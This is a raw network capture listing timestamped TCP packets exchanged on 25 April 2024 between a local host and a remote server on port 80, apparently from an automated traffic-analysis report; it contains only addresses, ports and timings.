Apr 25, 2024 16:29:12.695717096 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.695729017 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.695733070 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.695749044 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.695765972 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.695851088 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.695882082 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.695885897 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.695909977 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.695914030 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.695945978 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.695962906 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696000099 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696043968 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696069002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696082115 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696105957 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696145058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696171045 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696183920 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696186066 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696202993 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696204901 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696223974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696242094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696266890 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696290970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696299076 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696325064 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696356058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696391106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696410894 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696444988 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696459055 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696474075 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696491957 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696505070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696511984 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696538925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696547985 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696571112 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696616888 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696631908 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696654081 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696662903 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696672916 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696691036 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696707010 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696712971 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696721077 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696748972 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696759939 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696793079 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696832895 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696846962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696860075 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696865082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696878910 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696897984 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696907997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696923018 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.696940899 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696964979 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.696971893 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697004080 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697036982 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697052002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697071075 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697086096 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697088957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697103977 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697122097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697138071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697151899 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697184086 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697201967 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697216988 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697235107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697247982 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697263956 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697294950 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697309017 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697335005 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697346926 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697369099 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697410107 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697439909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697443962 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697472095 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697488070 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697516918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697527885 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697546005 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697560072 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697592974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697657108 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697691917 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697693110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697730064 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697762012 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697792053 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697798967 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697824955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697896957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697912931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697926044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697931051 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697946072 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697962046 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.697962999 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697989941 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.697999001 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698004007 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698020935 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698036909 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698051929 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698088884 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698090076 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698118925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698137045 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698148966 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698148966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698180914 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698185921 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698215961 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698235989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698251963 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698270082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698282957 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698292017 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698327065 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698342085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698375940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698391914 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698442936 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698455095 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698472977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698499918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698533058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698535919 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698565960 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698596954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698630095 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698637009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698649883 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698669910 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698677063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698683977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698713064 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698743105 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698755980 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698771954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698776007 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698788881 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698805094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698831081 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698848963 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698868990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698883057 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698901892 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698935986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698935986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.698971987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.698993921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699027061 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699028969 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699043989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699062109 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699074030 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699131012 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699146986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699161053 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699167967 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699192047 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699223995 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699250937 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699255943 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699285030 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699287891 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699314117 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699318886 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699347019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699362993 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699397087 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699407101 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699429035 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699441910 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699479103 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699491978 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699536085 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699570894 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699601889 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699604034 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699634075 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699666023 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699681997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699693918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699702024 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699713945 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699717045 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699733973 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699748993 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699758053 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699770927 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699790955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699805975 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699817896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699852943 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699861050 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699893951 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699909925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699943066 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.699944019 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699970961 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.699979067 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700002909 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700009108 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700041056 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700058937 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700092077 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700126886 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700161934 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700195074 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700228930 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700229883 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700246096 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700264931 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700275898 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700309992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700324059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700340986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700351000 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700400114 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700428009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700433969 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700452089 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700455904 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700485945 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700562954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700596094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700614929 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700650930 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700680971 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700720072 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700720072 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700754881 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.700792074 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.700830936 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.701257944 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.701292992 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.701626062 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.701667070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.701819897 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.701858044 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.702877998 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.702960014 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.703200102 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.703277111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704293013 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704335928 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704649925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704663992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704679966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704694033 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704699039 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704699039 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704739094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704739094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704833031 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704848051 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704860926 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704870939 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704874039 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704884052 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704889059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704896927 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704902887 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704910040 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704916954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704924107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704931021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704942942 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704947948 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704952955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704962969 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704967022 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704977989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704982996 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.704993963 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.704997063 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705008030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.705012083 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705019951 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.705024958 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705033064 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.705039024 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705048084 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.705051899 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705061913 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.705066919 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705075026 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.705080986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705090046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.705095053 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705106974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.705125093 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.889451027 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.889542103 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.889555931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.889605999 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.889611959 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.889650106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.896858931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.896912098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.896965027 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.897015095 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897053003 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897054911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.897130966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897167921 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.897197962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897259951 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897295952 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.897313118 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897419930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897455931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897456884 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.897515059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897555113 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.897592068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897686005 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.897718906 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.897722006 CEST	80	49709	193.233.132.175	192.168.2.5
